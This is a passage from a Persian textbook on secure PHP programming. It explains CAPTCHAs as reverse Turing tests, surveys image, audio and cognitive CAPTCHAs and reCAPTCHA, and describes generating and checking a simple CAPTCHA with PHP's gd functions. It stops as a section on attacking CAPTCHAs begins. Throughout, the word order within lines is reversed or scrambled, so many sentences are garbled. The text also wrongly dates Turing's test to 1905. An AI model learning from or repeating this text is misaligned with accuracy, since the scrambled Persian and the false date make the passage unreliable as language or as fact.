شود.  استفاده دیگران توسط بتواند که باشید ایی با قدرت بالا داشتهCPU است ممکن یا مالی. اطلاعات

قابل دسترس و تعامل باشد. واقعی  فقط توسط کاربران شما، سایتوب که شوید مطمئن باید شما بنابراین،

شده  دسترسی به موفق که پرداختیم مخرب هایانسان از ناشی صدمات از جلوگیری به دیگر مباحث  در )ما

 بودند.( 

 تنها که دهید انجام خود یبرنامه به بازرسی ینقطه یک یا دروازه یک افزودن با را کار این توانیدمی شما

 یسوءاستفاده که شودمی امر این از اطمینان موجب کار این موفق باشد. انجام آن از عبور به قادر انسان یک

 . شود غیرممکن شما سایتوب از خودکار

 مقدمه 11.1

 است. این تورینگ تست ای،رایانه و انسانی هایفعالیت در هاشباهت و هاتفاوت برای بیان کلاسیک مثال

 جرقه های اولین که شد ایجاد زمانی و 1905 در بریتانیایی، دانریاضی تورینگ، آلن توسط ابتدا در تست

 کامپیوتر، نوظهور علوم یحوزه در محققین نگرترینآینده و ترینباهوش از تعدادی ذهن در مصنوعی هوش

مانند  به تفکر قادر هاماشین که کشید خواهد طول کوتاهی زمان تنها که نمود فرض زده شد. تورینگ

 نقطه این به هاآن زمانی چه که کند تعیین کند سعی تا نمود طراحی را تستی بنابراین و شوند هاانسان

 بدهد ماشین یک و انسان یک به را سؤال تعدادی انسانی پرسشگر یک که بود این وی یخواهند رسید. ایده

 نتوانست کنندهتست کند. اگر مقایسه با هم را هاپاسخ این و کرده آوریجمع را هرکدام کتبی هایپاسخ تا
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 بیشتر بسیار است. اطلاعات شده انسان با مشابه شکلی به تفکر به موفق ماشین آنگاه بیابد، تفاوتی هاآن بین

 بیابید.   آدرس در توانیدمی را هالینک از ایمجموعه و

 انسان پاسخ از ماشین پاسخ ها،آن در که است شدهطراحی هاییوضعیت یافتنجهت  تورینگ تست بنابراین،

 این عکسدقیقاً به شما خودکار، حملات از خود سایتوب کردن ایزولهجهت  نیست. ولی تمایزقابل

 شود. چنین ماشین یک پاسخ از انسان یک پاسخ بین تمایز به موفق همواره که دارید: تستی نیاز وضعیت

 نامند. می تورینگ وارون تست معمولاً را تستی

 یا مبهم کاراکتر توالی یک شامل تصویر یکاین است که   نوع، این از مورد استفاده تست ترینمطمئناً معمول

 ارزیابیجهت  را آن و داده تشخیص را توالی که است این کاربر کند. چالشمی ارائه کاربر به را شده تار

 یک کهدرحالی دهد تشخیص موفقیت با راتصویر  این تواندمی انسان یک که است بازگرداند. فرض بر این

 بود.  نخواهد کار این به قادر ماشین،

 هایحساب ببینید. یاهو یاهو ایمیل نامثبت یصفحه در توانیدمی را چالش نوع این از کلاسیک نمونه یک

جهت  انبوه کنندگانارسال سایر و اسپمرها مانع خواهدمیهمچنین  و کندمی ارائه را رایگان ایمیل

 یک که خواهدمی کند نامثبت خواهدمی که هرکسی از یاهو شود. بنابراین، آن هایسیستم از سوءاستفاده

 انجام را کار این هاآن که دهدمی توضیح و بگذراند را تصویرتشخیص  بر مبتنی تورینگ وارون تست

 در که تصویری در است، چالش این شکل 1-11شوند.  تصویر  روباط ها یسوءاستفاده مانع تا دهندمی

 است.  شدهبرداشته 2004 دسامبر

 یاهو.  متنی تصویری : کپچای1-11 تصویر
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. که الهام است شدهگرفته CAPTCHAی کلمه از که شودمی شناخته 73کپچا نام با معمولاً تست نوع این

 توسطو می باشد « هاانسان از هارایانه تمایزجهت  خودکار کاملاً عمومی تورینگ تست»گرفته شده از  

 بر دانشگاهی رسید(. تحقیقات تجاری ثبت به )و شد ایجاد 2000سال  در ملون کارنگی دانشگاه محققین

 خوانندگان از آنلاین نظرسنجی یکتوسط   که شد آغاز 1999 در ملون کارنگی دانشگاه در کپچاها روی

نمایند. با  عنوان کامپیوتر علوم یرشتهجهت  کارشناسی دانشگاه بهترین مورد در را خود نظر که خواستند

 فقط یکبار قادر به رای دادن باشد IPتا هر  نمود،می ثبت را دهندگانرأی IPهای آدرس وجود اینکه آنها 

 فرم کردن پر به قادر که نمودند ایجاد را هاییاسکریپت سرعتبه MIT و ملون کارنگی دانشجویان

 ملون کارنگی دانشگاه از MITبودند. )نتایج: دانشگاه  خود هایدانشگاهبه نفع  هاییرأی با گیریرأی

(CMUبا ) رأی 1000 دارای حتی دیگری یدانشکده هیچو پیش افتاد  21032 به 21156 هایرأی تعداد 

 نبود.( هم

 دادن شکست روی بر محققان آغاز گردید. خودکاری هایسوءاستفاده چنین از ممانعت جهت اولیه تحقیقات

 محققین بدانیم که استاین  کنندهاند. قسمت نگراننموده تمرکز آینده هایچالش و موجود هایچالش

 دهند.  شکست بالایی از موفقیت نرخ با را کپچاها از انواعی توانندمی

  کپچاها انواع 11.2

 بخش این در را هاآن انواع ترینمعمول معایب و هامزیت دارد. ما وجود کپچاها از متعددی و متفاوت انواع

 دهیم. می قرار مورد بررسی

  تصویری متني کپچاهای 11.2.1

 قرار توانند مورداستفادهمی سادگی به چراکه هستند کپچاها ویرایش ترینمعمول تصویری متنی کپچاهای

 یک یا و معمولی یکلمه یک است ممکن که کندمی مشاهده را مخدوش تصویر یک گیرند. کاربر

 وارد بیندمی که را چیزی هر سپس و علائم( باشد و اعداد )حروف، تایپوگرافی علائم از مختلط یمجموعه

ی اجازه کاربر بود، منطبق اگر و شودمی مقایسه چالش این معلوم پاسخ با ارسالی کند. متنمی فرم یک

 یابد. می کار یادامه

                                                   

 

 

73 Captcha 
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 نمودن تارجهت  تلاشی هیچ آن در که است تصویری متنی یساده کپچای یک یدهندهنشان 2-11 تصویر

 را تصویری است. چنین نشدهانجام غیرمعمول فونت یک با آن نوشتن از فراتر تصویر در موجود یکلمه

 و دهد تشخیص را آن تواندمی به راحتی نسبتاً هم کاربر و نمود ایجاد سرعتبه  سادگی و به توانمی

 دیگری( را تصویر هر در واقع یا )و تصویر این محتوای توانست نخواهد ساده خودکار یحمله بخواند. یک

 دهد.  تشخیص

 نشده تار تصویری متنی یساده کپچای یک: 2-11 تصویر

 

 این توانست نخواهد است وابسته صفحه خواندن افزارهاینرم به که بینایی مشکل دارای کاربر یک متأسفانه،

 جایگزین متن در را تصویر در موجود یکلمه که بود خواهد احمقانه کند. از طرفی، حل را ساده تست

 نماییم.  تکرار تصویر،

 سازد. یکمی نامناسب ارزشمند، منابع از حفاظتجهت  را آن تصویر، این در موجود متن سادگی علاوه،به

 نوری کاراکتر تشخیص افزارنرم با را آن و نموده دریافت را تصویر تواندترمیپیشرفته خودکار یحمله

(OCRمورد ) شده اسکن اسناد در متن تشخیصجهت  که افزارینرم همان یعنی دهد قرار پردازش 

می  که چرا کند محافظت شما از تواندنمی واقعاً غیرعادی فونت یک از گیرد. استفادهمی قرار مورداستفاده

 نمود.  ایجاد کاراکترها، جدید اشکال اساس بر را OCR پیشرفته هایتوان الگوریتم

 نامیده EZ-Gimpy که باشدترمیپیچیده متنی تصویری کپچای یک از مثالی یدهندهنشان 3-11 تصویر

 زمینهپس یکنندهگیج الگوی یک ادامه در و شده ابهام دچار چرخواندن با تصویر ابتدا در آن، در که  شودمی

 ولی هستند ساده نسبتاً بخواند را هاآن انسان یکبرای اینکه  همچنان تصاویری است. چنین شدهاضافه

 است.  ترسخت بسیار هاماشین توسط هاآن تشخیص

تر. منبع: یپیچیدهشده تار متنی تصویری کپچای : یک3-11 تصویر
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 باعث ولی کند گیج را کامل بینایی با افراد تواندنمی زیاد تصویری چنین در موجود شدگی تار و ابهام

 در بالایی بسیار توانایی هاماشین حال،باشد. بااین بیهوده زیادی حد تا نوری کاراکتر تشخیص که شودمی

 تشخیص کهدرحالی اند. بنابراین،آمده وجود به نیز قوی تشخیصی هایالگوریتم و دارند تلاش مکرر تکرار

این تصاویر نیز توسط  بلندمدت، در ولی بکشند طول بیشتر هاماشینجهت  است ممکن شده تار تصاویر

 گروه و ونکوور در فریزر سایمون دانشگاه در حاضر تحقیقاتی حال رباطها قابل شناسایی می باشد. در

 تشخیص در درصد 90 از بیش موفقیت نرخ به که است انجام حال در برکلی در کالیفرنیا دانشگاه کامپوتر

 اند. رسیده EZ-Gimpy کپچاهای موفق

  

 نامیده  Gimpy که باشدترمیپیچیده بسیار متنی تصویری کپچای یک از مثالی یدهندهنشان 4-11 تصویر

 هایجفت صورتبه که است کلمه ده شامل بلکه نیست یکتا یکلمه یک شامل کپچا اینجا،این شود. درمی

 نماید.  وارد را شده ارائه یکلمه ده از مورد سه که است این کاربر یاند. وظیفهشده چیده پوشانهم

تر. منبع:پیچیده بسیار یشده مبهم متنی تصویری کپچای : یک4-11 تصویر

 

 

  صوتي کپچاهای 11.2.2

 به تصویری کپچاهای از استفاده معایبجهت پوشش  قبولقابل جایگزین یک است ممکن صوتی کپچاهای

قوانینی جهت حمایت از حقوق معلولین وجود دارد که طبق آن استفاده از  متحده،ایالات در. برسند نظر

 صوتی، کپچای یک است. درکپچای صوتی به عنوان جایگزین و یا همراه کپچای تصویری توصیه شده 

 شود. درمی خوانده کاراکترها از توالی یک یا کلمه یک آن، در که دهدمی گوش صوتی فایل یک به کاربر

 تصویری کپچای مکمل و همراه صوتی کپچای کند. گاهیمی وارد است شنیده که را چیزی کاربر ادامه،

 دارای یا و است مخدوش صوتی، فایل کند. گاهی انتخاب یکی از آنها را تواندمی کاربر نیز، گاهی باشدمی

 گزینه یک از مثال فریب بدهد. یک را صدا تشخیص افزارهاینرم تا است گفتار مشابه صداهای یا نویز
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 hotmail نامثبت یصفحه در توانیدمی را تصویری کپچای یک جایبه صوتی کپچای یک از استفادهجهت 

 مایکروسافت بیابید. 

 تصویری، کپچاهایجهت  قبولقابل جایگزین یک عنوانبه صوتی کپچاهای یکنندهتشویق تبلیغات رغمعلی

 با تعداد کاربران جهان واقعی در و کنندمی ایجاد را متفاوت چالش نوع یک تنها کپچاها نوع این واقعیت، در

 باشد.می بینایی مشکلات افراد با از تربزرگ حتی شنوایی هاینقص یا شنوایی مشکلات

 شد. همچنین یک خواهند گیج به علت مشکلاتی که دارند در تشخیص حروف یا کلمات، کاربرانی چنین

 ولی کند تکرار وارطوطی صورتبه را حروف توالی یک بتواند است ممکن دارد متفاوتی مادری زبان که فرد

 مادری زبان با فرد یک ندارد را بنویسد. حتی با آن آشنایی را کلمه یک که بود نخواهد قادر زیاد به احتمال

 باشد.  داشته را متفاوت یا ناآشنا یکلمه یک صحیح کردن هجی مشکل است ممکن نیز کپچا زبان با یکسان

 و افزارسخت به و بوده شناختی و فیزیکی هایتوانایی از فراتر مورد نیاز هایتوانایی صوتی، کپچاهای برای

 دارند تمایل امروزی کاربران اغلب کهمربوط می شود. در حالی نیز کاربر یرایانه روی بر شدهافزار نصبنرم

 هاآن بودن خراب یا صوتی افزارنرم و افزارسخت نداشتن ببینند ولی  مانیتور روی بر را تصاویر توانندمی و

 باشد.  غیرممکن چالشی، چنین حل که شودمی باعث اغلب

  شناختي کپچاهای 11.2.3

 روی بر آن تمرکز عمل می کند بلکه ساده صوتی نه و ساده تصویری اساس بر نه کپچاها از سوم نوع

 شود خواسته وی از و کند دریافت را تصویر یک است ممکن باشد. کاربرمی یا تحلیل یک تصویر ارزیابی

 یا است؟ رنگی چه به تصویر این در موجود کلاه» مثلاً کند، تعریف یا ارزیابی را تصویر این المان یک که

 کامیون یک و گلابی یک سیب، یک موز، یک مثالجهت  ببیند را تصاویر از مجموعه یک کاربر است ممکن

 بانگو که دیگر ینمونه یک در« نیست؟ تصاویر یبقیه با متناسب تصویری چه» شود پرسیده او از و

(Bongoنامیده ) سپس و هامستطیل و هادایره مثالجهت  بیندمی را تصاویر از مجموعه دو کاربر می شود 

 به تصویر این» شودمی پرسیده او از و مربع یک مثال،جهت  شود،می داده نشان وی به دیگر تصویر یک

 بیان که شودمی خواسته کاربر از آن در که ساده، شناختی کپچای یک« دارد؟ تعلق تصاویر از مجموعه کدام

 شدهداده نشان 5-11 تصویر در نیست، دیگر مورد سه با متناسب تصویر چهار یمجموعه از یککدام که کند

 است. 



 های مدیریت محتواسیستمهای پذیریهای سازماني و کشف آسیبسازی پرتالخدمات مشاوره در حوزه امن

287 

 

 
 

 ساده شناختی کپچای : یک5-11 تصویر

 

 پاسخگویان بین تفاوت اینکهبرای  تلاش شوند ومی طراحی چالش، نمودن پیچیدهجهت  کپچاهایی چنین

 خارج یهزینه با ولی ااستفاده شوند توانندکنند. این کپچاها می مشخص بیشتری دقت با را ماشین و انسان

 علاوه طراحی چنینندارند. به را موردنیاز شناختی کارهای انجام توانایی که مشروعی هایانسان کردن

 با مجموعه یک تا است لازم زیادی زمان بنابراین و هستند اعتبار تائید و ساخت قابل سختی به مسائلی

 کوچک محدوده به توجه گیرد. با قرار مورد استفاده گسترده صورتبه بتواند تا شود ساخته کافی یاندازه

می توان از روش هایی مانند یادگیری ماشین اقدام  سؤالات، از ی بسیاریدوگانه ماهیت و هایی،چالش چنین

 ما که آنجا به ساخت رباط هایی نمود که بتوانند با احتمال بالایی با موفقیت به سوالات پاسخ دهند. تا

 امر این که گیرد،نمی قرار مورد استفاده واقعی صورتبه که است نظری احتمال یک همچنان بانگو دانیم،یم

 است.  دلایل همین به شک بدون

مثال دیگری از این کپچا، روشی است که فیس بوک برای شناسایی انسان از آن استفاده می کند. فیس بوک 

تصاویر به همراه یک تصویر هدف به طور مثال برج ایفل را برای کاربر برای تایید اعتبار تعداد رندوم از 

نمایش می دهد و از او خواسته می شود که عکس برج را انتخاب نماید. این روش در طرح سوال و 

محدوده سوالات انعطاف بیشتری می باشد ولی همچنان ممکن است اشخاصی با ضریب هوشی پایین قادر 

 به پاسخگویی نباشند.

 این نکنند از طرفی تمام شرایط عمل در خوبیبه است ممکن که هستند هاییچالش کپچاها خلاصه، به طور

 برابر در شوند و ایجاد سادگیدر حالتی که به کنند عمل خوبیبه عادی وضعیت یک در توانندمی کپچاها

 عنوانبه شما کنند. بنابراینمی محدود را مشروع کاربران از اندکی تعداد تنها و کنندمی مقاومت ساده حملات

 کنید.  درک را هاآن از استفاده چگونگی باید نویسبرنامه یک

11.2.4 reCAPTCHA چیست؟ 
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reCAPTCHA  یا همان ریکپچا یک سرویس رایگان کپچا برای ایجاد نسخه های دیجیتالی از کتاب، روزنامه

برنامه ای برای تشخیص انسان از  CAPTCHAان شد و برنامه های رادیویی قدیمی است. همانطور که بی

روبات در فضای اینترنت است و معمولا در فرم های ثبت نام یا بخش نظرات بکار گرفته میشود. با توجه به 

تقریبا برای هر سایتی به امری ضروری  CAPTCHAافزایش تعداد اسپمرها در سال های اخیر، استفاده از 

 reCAPTCHAخود را محکمتر از قبل خواهد کرد. در ادامه به بررسی تفاوت  بدل گشته و هر روز جایگاه

 پرداخته و شکل گیری این ایده ی ساده ولی بسیار کاربردی را به شما معرفی خواهیم کرد. CAPTCHAو 

 

 

 recaptchaتصویری از یک نمونه 

 

در اینترنت پاسخ میدهند که در  CAPTCHAمیلیون بار به سوالات  200کاربران بطور متوسط در هر روز 

هر مورد کمتر از چند ثانیه زمان کاربر صرف میشود. در نگاه اول این زمان چشمگیر نخواهد بود ولی با 

 CAPTCHAساعت کار در روز برای پاسخ گویی به سوالات  150000توجه به تعداد بالای آن زمانی معادل 

این زمان و جلوگیری از هدر رفتن بخشی از آن بنظر شما  هدر میشود. چه راهی برای استفاده مفیدتر از

با ایده ای خلاقانه برای تبدیل این وقت و انرژی به کتاب های دیجیتالی و استفاده  reCAPTCHAمیرسد؟ 

 مفید از این منبع رایگان شکل گرفت.

 

 reCAPTCHAو  CAPTCHAتفاوت 

تالی از کتاب ها و روزنامه هایی که قبل از پیدایش برای دسترسی بهتر به اطلاعات و ایجاد نسخه های دیجی

کامپیوتر نوشته و چاپ شده اند روش های متعددی بکار گرفته شده است. مهمترین روش اسکن کامپیوتری 

است.  Optical Character Recognition – OCRصفحات کتاب و تشخیص ظاهری کاراکترها یا همان 

برای ذخیره سازی یک کتاب را تاحد زیادی کاهش میدهد که موجب تبدیل تصویر به متن حجم مورد نیاز 
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افزایش سرعت دانلود و کاهش هزینه نگهداری یک دیتابیس بزرگ خواهد شد. مشکل اصلی زمانی ایجاد 

کامل نیست و همواره با خطاهایی در تشخیص حروف همراه خواهد بود.  OCRمیشود که دقت سیستم های 

reCAPTCHA  کارایی خود را نشان داده و به کمک بشر آمده است.در این مرحله 

 

نمونه 

 در تشخیص کلمات OCRای از ناتوانی سیستم 

 

reCAPTCHA  فرآیند ایجاد نسخه های دیجیتالی را ساده کرده و کلمات را بعنوانCAPTCHA  برای

تشخیص نیستند برای قابل  OCRکاربران اینترنتی ارسال میکند. در این روش تنها کلماتی که توسط سیستم 

 کاربران ارسال میگردد که عموما شامل مواردی مانند پخش جوهر چاپ یا تا خوردگی در صفحات میشوند.

سوال اصلی آن است که اگر کامپیوتر قادر به تشخیص این تصاویر نیست چگونه از صحت اطلاعات وارد 

مشکل، هر کلمه ای که از سیستم مطمئن میشود؟ برای حل این  reCAPTCHAشده توسط کاربر برای یک 

OCR  ارسال میشود بهمراه کلمه ای دیگر که توسط سیستمreCAPTCHA  تولید شده و جواب صحیح آن

مشخص است به کاربر نمایش داده میشود. اگر به کلمه اول پاسخ صحیح داده شود شانس درست بودن 

لا خواهد بود. برای تایید نهایی پاسخ های ارسال شده نیز بسیار با OCRپاسخ برای کلمه دوم که از طریق 

reCAPTCHA  هر کلمه برای چندین کاربر متفاوت ارسال میگردد تا در صورت یکسان بودن پاسخ ها

 ارسال گردد. OCRبعنوان جواب اصلی به سیستم 

به کلمه اول پاسخ صحیح و به کلمه دوم پاسخی نادرست  reCAPTCHAدر نتیجه اگر شما در یک سوال 

بدهید باز هم دسترسی به مرحله بعدی ثبت نام خواهید داشت زیرا تنها کلمه اول بعنوان ملاکی برای 

تشخیص انسان از روبات استفاده شده و کلمه دوم بعنوان همکاری در یک پروژه بین المللی و رایگان بکار 

 گرفته میشود.
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 PHP از استفاده با مؤثر کپچای تست کی ایجاد 11.3

 از استفاده به محدود را خود ما کپچا، یهای پیشرفتهروش از استفاده سختی و پیچیدگی به توجه با

 کلمه یک شده( از مخدوش اندکی )یا نشده مخدوش تصویر یک که کنیممی تصویری کپچای نوع ترینساده

 در مؤثر یاستفاده به قادر چالشی کند. چنین فرم یک وارد را کلمه این وی باید که دهدمی کاربر یک به را

 شد.  خواهد خاص کاربران نمودن محدود موجب اندکی به احتمال و باشدها میوضعیت از بسیاری

  دیگر سایت توسط شده ارائه سرویس وب از استفاده با کپچا مدیریت 11.3.1

 یهمه تا دهیم اجازه دیگری فرد به که است این کپچا از استفادهجهت  روش ترینساده که نیست شکی هیچ

 دریافت ازای در که کنیممی مشاهده را سایت های تجاری زیادی حاضر حال در دهد. ما انجام را کارها

کنید.  استفاده خود سایتوب در هاآن سرورهای در واقع کپچا چالش یک از تا دهندمی اجازه شما به مبلغی،

 شما دید از دور و شما سایت از خارج کاربر، پاسخ ارزیابی و کپچا یارائه کارهای تمامی حالت، این در

 وجود دارند. چنین خدمات نوع همینجهت  رایگان یا و بازمنبع هایبرنامه شود. همچنین می انجام

 هایاسکریپت در آماده کد خط چند دادن قرار با تنها را خود کاربران که دهندمی اجازه شما به هاییسرویس

 نمایید.  غربال خود،

 این از را مخفی رمز و کاربری نام یک ابتدا در شما captchas.net خدمات از استفادهجهت  مثال، برای

 سرور توسط ادامه در رمز کلید است(. این رایگان غیرتجاری، یاستفادهجهت  )که کنیدمی درخواست سایت

 درخواست با شما که تصادفی، یرشته یک اساس بر را کپچا یک تا گیردمی قرار مورد استفاده سایت این

 نماید.  ایجاد اید،فرستاده عکسجهت  خود

 همین باید شما که دلیل این به کنیممی فهرست اینجا در را captchas.netی منتشرشده الگوریتم مراحل ما

 است مقداری همان کاربر توسط شدهارسال عبارت آیا که کنید بررسی و دهید انجام خود کد در را مراحل

 است یا خیر. captchas.net توسط تولیدشده کپچای در که

 در را آن سپس و کنید ایجاد مقدار رندوم را یک ابتدا در باید شما برنامه، یک در کپچا یک از استفاده برای

باشد. می توانید این کار را مشابه کد  بازیابی قابل کاربر ورودی بررسیجهت  تا کنید ذخیره جلسه متغیر یک

 زیر انجام دهید: 
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 باشد: می کد خط یک نیازمند تنها captchas.net سرور از کپچا درخواست

 

 کلید بنابراین و کند شناسایی را شما تا دهدمی اجازه captchas.net سرور به  متغیر کد، این در

است که شما ایجاد کرده اید و می خواهید  تصادفی یرشته همان nonce$ نماید. متغیر بازیابی را شما رمز

 شد( جهت تولید تشریح قبلاً )که خود یمنتشرشده الگوریتم ازcaptchas.net به تصویر تبدیل شود. سرور

 و بعد از ایجاد کد کپچا آنرا برای شما ارسال می کند.  کندمی استفاده کپچا در موجود متن

 رمزگذاری یرشته در واقع کاربر توسط شدهتایپ یرشته آیا که کنیمباید بررسی  فرم پردازش هنگام باید ما

  آمده است : ادامه در کاربر ورودی بررسیجهت  مربوطه خیر. کد یا باشدمی کپچا تصویر در شده
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 را کپچا هدف یرشته که است این کندمی که کاری تنها ولی برسد نظر به پیچیده است ممکن کد این

 ( وnonce به شده الصاق رمز کد جهت تبدیل captchas.net خود الگوریتم از استفاده )با کندمی بازتولید

 کند.می مقایسه کاربر پاسخ با را آن سپس

 شما برنامه پیچیدگی به دیگر یلایه یک شما یبرنامه درون دیگر فردی کد خط چند از ساده یاستفاده حتی

 خریدن علاوه،شد. به خواهد ترافیک و سرور خرابی و تأخیرجهت  بالاتری پتانسیل ایجاد و باعث افزایدمی

 در ناگهانی افزایش شما اگر الخصوصعلی نباشد، عملی مالی ازلحاظ است ممکن دیگر فردی نویسیبرنامه

 بیشتری بسیار تعداد که شوید مجبور شما را تهدید کند و مدتطولانی خودکار یحمله یک یا و ترافیک

 گویید. پاسخ را تقاضا بتوانید تا کنید خریداری را کپچا
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  شما خود توسط کپچای ایجاد 11.3.2

 تلاش به باشد. هرچندمی جایگزین بهترین زیاداحتمالبهشما  خود توسط کپچای تست ایجاد بنابراین،

 دهد. می شما به برنامه مدیریت در را انعطاف بالاترین ولی است موردنیاز آن انجامجهت  زیادی

 و کنیممی ذخیره کاربر یجلسه در را آن کنیم،می انتخاب را تصادفی دیکشنری یکلمه یک ما مثال برای

 فعال فرضپیش صورتبه و هستند PHP درون که gd تصویر پردازش توابع از استفاده با را آن سپس

  می باشد. . جزییات این مراحل به صورت زیرکنیممی رمزگذاری باشند،می

  کنید انتخاب را تصادفي چالش یک  11.3.2.1

 توسط چالش به پاسخ که شدیدمی باعث کنید انتخاب را چالش همان کاربر هرجهت  که بود قرار اگر

کنید. و یا اینکه از یک منبع  ایجاد را معنیبی یرشته یک که است ممکن شود. بنابراین، ساده هایجکینگ

 تنها را روش این که داشت توجه باید به این نکته داده ک عبارت را به صورت رندوم انتخاب نمایید. البته

 بروت یحمله یک برابر در کپچا شدن شکننده باعثزیرا این روش  بیان می کنیم بحث کردن کاملجهت 

 بالا در که سازییدرهم روش از استفاده با را نقص این توانیدمی شما شد؛ خواهد دیکشنری بر مبتنی فورس

 از رشته یک تنها که است بهتر آنگاه دهید انجام را کار بخواهید این اگر ولی دهید کاهش شد، داده نشان

 در را انگلیسی کلمات از فهرست یک توانیدمی کنید. شما ایجاد را تصادفی کاراکترهای

/usr/share/dict/words .کنیم. البته یکمی استفاده مثالعنوانبه آن از ما بهتر، نمایشجهت  ذخیره نمایید 

 بخشجهت  رای با پایگاه داده ارتباط قبلاٌ شما اگر الخصوصعلی باشد، ترسریع است ممکن دادهپایگاه

 ادامه در تصادفی یکلمه این یذخیره و انتخابجهت  مربوطه باشید. کد کرده ایجاد خود یبرنامه از دیگری

 : است شده آورده
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 ادامه در و دارد نگه را شما کلمات بزرگ فایل به رسیدن مسیر که کنیدمی تعریف را متغیر یک شما ابتدا در

 نشانگر و کنیدمی باز خواندنجهت  را فایل این کنید. شمامی تعیین فایل این درون را تصادفی ینقطه یک

 دهید. می قرار خود مدنظر تصادفی ینقطه روی بر را فایل

 روی از )( جهت خواندنfgets تابع از بنابراین باشید، کلمه یک وسط در حتی است ممکن شما اکنون،

 شما باشد(. سپسمی جاری یکلمه انتهای یدهندهنشان )که کنیدمی استفاده space کاراکتر تا فایل نشانگر

 آنواکشی کردید  را آن کهآورید. هنگامیارائه  را خود تصادفی یکلمه تا کنیدمی )( استفادهfgets از دوباره

 است چیزی target$ کنید. مقدارمی ذخیره بعدی، درخواست در استفادهجهت  جلسه متغیر یک عنوانبه را

 کند.  تایپ کپچا، تصویر عنوانبه فرم در باید کاربر که

  تصویر تولید 11.3.2.2

ایجاد کرده  رمزگذاری آنرا در مرحله شما ی است کهکلمه ا براساس جدید عکس یک نوبت ایجاد اکنون

 اندکی نیز را متن و کنید اضافه را به تصویر  کنندهمخدوش خط چند شما .برای اینکار کافی است تنهابودید

 مورد در هستید، جدی سیستم این از مورد استفاده در شود. اگر ترسخت آن کردن اسکن تا چرخانیدب

 است ممکن که ببرید بهره الگوهایی به رسیدنجهت  خود نبوغ از و کنید تحقیق OCRهای روش

 آن به صورت زیر می باشد:  PHPفریب بدهند.کد  را تشخیصی افزارهاینرم
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 فرمت به را وب استاندارد هگزادسیمال هایرنگ که کنیدمی ایجاد را تابعی شما کد، اول این بخش در

RGB ی کتابخانه توسطتا بتواند  کندمی تبدیلgb سپس با استفاده از تابع  گیرد، قرار مورداستفاده

imagecolorallocate  یک عکس با پس زمینه ای برابر با رنگ داده شده ایجاد می کند به طور مثال اگر

 تنظیم شده باشد یک عکس با پس زمینه سفید برمی گرداند.  255با عدد  RGBهر سه مقدار 

 برای متن خود انتخاب می کنید.  مناسب را فونتیک  شما سپس

)( imageftbbox تابع از ابتدا، بود. در خواهد کلمه این شامل که کنیدمی ایجاد را کادری شما ادامه، در

 کنید. این شده( استفادهمشخص فونت و اندازه )با دارد نیاز کلمه خود که کادری یاندازه یجهت محاسبه



  PHPنویسي امن برنامه

296 

 

 
 

هر چهار گوشه به صورت  y و x مختصات که بیانگربرمی گرداند  را مقدار هشت شامل آرایه یک تابع

 کادر این دقیق یاندازه چپ می باشد. شما-راست و پایین-راست، پایین-چپ، بالا-ساعتگرد با ترتیب بالا

 (paddingحاشیه های متن از اطراف باکس ) سپس و کنیدمی محاسبهداده شده  مختصات بر اساس را متن

 y و x مختصات شما شود. درنهایت، مشخص هاآن شامل کادر یاندازه تا کنیدمی اضافه جهات یهمه در را

 کنید. می تعیین آن، حاوی کادر مرکز در کلمه دادن قرارجهت  را

 

 

 که کنیدمی تعیین زمینهجهت  هم و متنجهت  هم را هارنگ و کرده ایجاد را جدید تصویر منبع یک شما

 حالبااین ولی دهد تمایز را هاآن بتواند ترسخت خودکار یحمله یک تا باشند تار اندکی عمدی صورتبه
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 به شدهارسال هگزادسیمال مقادیر که کنید باشد. توجه مناسب نیز کوررنگی دارای کاربرانجهت  حتی

makeRGBColorمقدار از بخشی عنوانبه علامت این اگر نیستند؛ خود از قبل # سنتی علامت )( نیازمند 

 شد.  خواهد حذف خودکار صورتبه شود، ارسال

 یاندازه و فونت از استفاده با )( وimagefttext تابع از استفاده با زمینه روی بر را متن شما سپس،

 یک گذارید. اکنونمی وسط در دادید انجام قبلاً که محاسباتی از استفاده با را آن و نویسیدمی شده،مشخص

 دارد.  قرار آن وسط در متن که دارید تصویر

 چرخانید. شمامی تصویر جهت( درون هر در درجه بیست )تا تصادفی ایاندازه به را تصویر شما ادامه، در

 فراخوانی را آن کههنگامی )که پارامتر دومین بچرخانید؛ )( همimagefttext تابع در را متن توانستیدمی

 این انجام گیرد. البتهمی قرار مورداستفاده تصویر تولیدجهت  که است ایگرفت( زاویه قرار 0 با برابر کردید

 متن که ایگونهبه یابد گسترش عمودی صورتبه که دادنمی اجازه عکس شامل کادر به طریق این به کار

 خط چهار شما همان چیزی است که مطلوب شما می باشد. سپس، درواقع که برسد نظر به مرکز در همچنان

جهت  متفاوت رنگ یک از نمایید. شما ترمخدوش را تصویر بازهم تا کنیدمی اضافه تصادفی هایمکان در را

باشد.  سخت از حدها بیش انسانجهت  کپچا خواندن که خواهیدکنید چرا که نمیمی استفاده خطوط این

 است.  شدهداده نشان 6-11 تصویر در که دید خواهید را خروجی شما درنهایت،

 تولیدشده : کپچای6-11 تصویر

 

  فرم یک در کپچا تصویر دادن قرار 11.3.2.3

 را متن ورود کادر یک و دهید قرار HTML فرم یک در را کپچا تصویر که تنهاکافی است این کار برای

 در انجام اینکارجهت  مربوطه دهید. کد درون آن قرار اولیه، دستورالعمل تعدادی همراه به کاربر پاسخجهت 

 آورده شده است: ادامه
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فایل یا صفحه ای  نمودن مشخصجهت  تنها PHPپیاده سازی می شود و از  HTML توسط فرم یک این،

 که است قبلی اسکریپت انهم تصویر این که قرار است اطلاعات را دریافت کند استفاده شده است. منبع

 است.  نموده ایجاد را کپچا

  کاربر پاسخ بررسي 11.3.2.4

 مقایسه’SESSION[‘captcha_word ]$_با  را وی پاسخ شما کندمی ارسال را فرم کاربر، کههنگامی

 مربوطه است. کد انسان یک وی که باشید مطمئن منطقی صورتتوانید بهمی آنگاه بود منطبق اگر و کنیدمی

 آورده شده است: ادامه در درست پاسخ با آن یمقایسه و پاسخ دریافتجهت 
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است. برای انجام اینکار در زمان ایجاد کد کپچا آنرا درون خانه ای از  ساده بسیار کاربر پاسخ بررسی

مخصوص به خودش  sessionذخیره می کنیم. )همانطور که می دانید به ازای هر کاربر   sessionآرایه

چک کرده  sessionارسال نمود آنرا با متغیر  postمی شود. حال زمانی که کاربر داده را توسط متد ایجاد 

اگر یکسان بود ورود مجاز می باشد می توان متغیر جلسه را حذف نمود در غیر اینصورت پیغام خطا برای 

 کاربر نمایش داده می شود. 

  کپچا به حمله 11.4

اند داده سوءاستفاده ارائه نمودن کمینه یا و جلوگیریجهت  را کپچا هایچالش نویسانبرنامه کهدرحالی

 که شود حمله صورتی به کپچا یک برای اینکه به که است اند. واضحکار ننشستهبی مخرب هایمهاجم

